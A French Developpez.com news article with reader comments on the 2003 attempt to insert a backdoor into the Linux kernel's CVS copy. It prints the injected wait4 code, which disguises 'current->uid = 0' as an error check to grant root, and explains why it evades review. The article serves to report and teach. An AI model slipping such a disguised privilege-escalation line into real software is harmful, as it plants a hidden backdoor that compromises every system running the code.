IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Linux : il y aurait eu une tentative d'intégration d'un backdoor dans le noyau en 2003
Révélation sur le code injecté

Le , par Hinault Romaric

27PARTAGES

30  2 
Il y aurait eu une tentative d’introduction d’une porte dérobée (backdoor) dans le noyau Linux. Ed Felten, professeur d’informatique à l’université de Princeton, revient dans un billet de blog sur l’incident.

Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.

Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.

En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.

En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :

Code C : Sélectionner tout
1
2
3
  
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 
        retval = -EINVAL;

Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.

« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».

S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.

Source : billet d'Ed Felten

Et vous ?

Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?

Une erreur dans cette actualité ? Signalez-nous-la !

Avatar de Traroth2
Membre émérite https://www.developpez.com
Le 10/10/2013 à 14:09
Citation Envoyé par Sirus64 Voir le message
Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Je pense que vu la quantité de code dans Linux, il est facile de rajouter du code malicieux. Il y en a surement, je ne peux pas croire l'inverse ! N'importe quelle application peut en avoir (volontairement ou non). Le fait que le code soit ouvert n'est pas un gage de qualité.
L'idée de code malicieux, c'est que c'est volontaire, justement.
Un projet comme Linux est découpé en modules qui sont pris en charge par des équipes différentes. Il n'y a pas une grosse équipe qui gère tout. Et le code lui-même est relu par des gens du monde entier qui ne sont pas directement impliqués dans processus de développement. Il faut se rendre compte que de nos jours, Linux est utilisé et adapté aux besoins, donc relu, par des organisations aussi diverses que Google, Free, Microsoft, la gendarmerie nationale française, le gouvernement chinois ou la Nasa. S'il y avait une backdoor, je pense que ça se remarquerait en quelques jours.
9  0 
Avatar de Squisqui
En attente de confirmation mail https://www.developpez.com
Le 10/10/2013 à 14:43
Citation Envoyé par Sirus64 Voir le message
Qu'en pensez-vous ?
Les compilateurs affichent normalement des Warnings pour ce genre "d'erreurs".
Nop, pour gcc, les parenthèses servent à appuyer la volonté de faire une affectation. Il n'y a donc pas de warning dans ce cas précis. L'affectation dans une boucle est assez courante en C (un peu moins dans une condition).
C'est ce qui rend le code très discret. Le seul moyen de le repérer est de mettre en évidence les différences entre deux révisions ou de le relire à la main.
8  0 
Avatar de Traroth2
Membre émérite https://www.developpez.com
Le 10/10/2013 à 15:12
Citation Envoyé par goomazio Voir le message


Juste sur ce point : pas forcément, en tout cas ici on parle des failles volontaires ou involontaires, qui ont le même résultat. En plus, une faille pourrait tout aussi bien être volontaire qu'involontaire, cf. l'exemple de l'article qui aurait pu être pris pour un acte involontaire s'il n'y avait pas eu de piratage du dépôt CVS ou je ne sais quoi d'autre de louche.
C'est une faille, alors, pas du code malicieux. Malicieux, ça veut dire pas sympa, dans le contexte...
7  0 
Avatar de TNT89
Membre confirmé https://www.developpez.com
Le 10/10/2013 à 16:59
Citation Envoyé par mith06 Voir le message
D'où l’intérêt d'utiliser le mot clef const un maximum!
Ou de renverser les égalités en constante == variable, puisque dans ce cas, le compilateur reportera forcément une erreur.
5  0 
Avatar de transgohan
Expert éminent https://www.developpez.com
Le 16/10/2013 à 20:18
Citation Envoyé par Battant Voir le message
Bonjour,

J'ai cherché ce bout de code dans le kernel actuel mais je ne le trouve pas. En tout cas pas avec les moteur de recherche.

Ce bug existe-t-il toujours et si oui dans quelle fichier et a quelle ligne ?

En tout cas je peux vous dire que je suis surpris car jamais mon professeur n'aurait accepté ce genre de chose qu'il aurait considérer comme un bug.

Il nous apprenait a faire une conception et surtout a prendre notre temps pour qu'à la fin le programme soit sans bug.

Salutations
Tu n'as à priori pas compris le mot "tentative".
5  0 
Avatar de grim7reaper
Membre éclairé https://www.developpez.com
Le 10/10/2013 à 18:50
Citation Envoyé par goomazio Voir le message
En tout cas, ça a été possible à une époque. Dans la source de l'article se trouve un lien vers un autre article disant qu'une modification du code de Debian, qui faisait que les clés de sécurité générées par le système pour SSL et SSH par exemple étaient facilement devinables ("32,767 choices", est resté "en production" de fin 2006 à 2008 et s'est même propagé à Ubuntu...
C’était pas une backdoor ça…
Ça a été provoqué par un problème de communication entre les dev’ d’OpenSSL et le mainteneur de Debian.
Torts partagés cependant, les dev’ d’OpenSSL n’ont apparemment pas répondu aux questions du mainteneur, et le mainteneur a pris la responsabilité de modifier un code (relativement critique en plus) qu’il ne comprenait pas.
4  0 
Avatar de abriotde
Membre chevronné https://www.developpez.com
Le 10/10/2013 à 13:55
Bonjour,

Cela prouve que c'est potentiellement possible d'insérer discrètement du code dans le noyau même si c'est tout de même pas a la portée de n'importe qui.

Mais chose plus grave, ce code ne permet a priori que de passer root, pas de se connecter sur la machine. Comment l'auteur de se code (la NSA?) comptait t'il s'authentifier sur la machine? Un logiciel installé et vérolé (plus facile a corrompre) ou un autre bout de code malicieux passé par le système standard de validation ou non?
2  0 
Avatar de akrogames
Membre actif https://www.developpez.com
Le 11/10/2013 à 11:07
Pourquoi developpez.com ressort une news vieille de 10 ans ? Vous êtes en manque de news croustillante ou quoi ?

Enfin bref, pas terrible comme "pas news" vu qu'on le savait déjà.
3  1 
Avatar de transgohan
Expert éminent https://www.developpez.com
Le 19/10/2013 à 15:40
Citation Envoyé par livebe Voir le message
Fait 1: Il y aurait 15 millions de lignes de code dans le kernel 3.10
Re: http://www.h-online.com/open/feature...70.html?page=3

Sans polémiqué sur l'utilisation du C, même en changeant à un rythme de 10,000 lignes de code/jour il faudrait 1500 jours....
Tu oublies de diviser par le nombre de relecteur.
2  0 
Avatar de Traroth2
Membre émérite https://www.developpez.com
Le 10/10/2013 à 13:57
Une modification discrète grâce à une intrusion sur le serveur de versioning, un ajout des plus brefs, une petite subtilité pour que ça passe encore un peu plus inaperçu... Une tentative plutôt bien organisée, en fait.

D'une certaine manière, ça place la création de Git et le remplacement de Bitkeeper et CVS sous une lumière différente, cette histoire...

Cela dit, est-ce que ça veut dire que les intrus ont aussi remplacé le hash MD5 qui sert à vérifier l'authenticité du source ? Ou est-ce que ça ne se faisait pas encore en 2003 ? Ca serait surprenant, quand même, ça fait longtemps qu'on voit ça sur les repos de projets open-source et libres.
1  0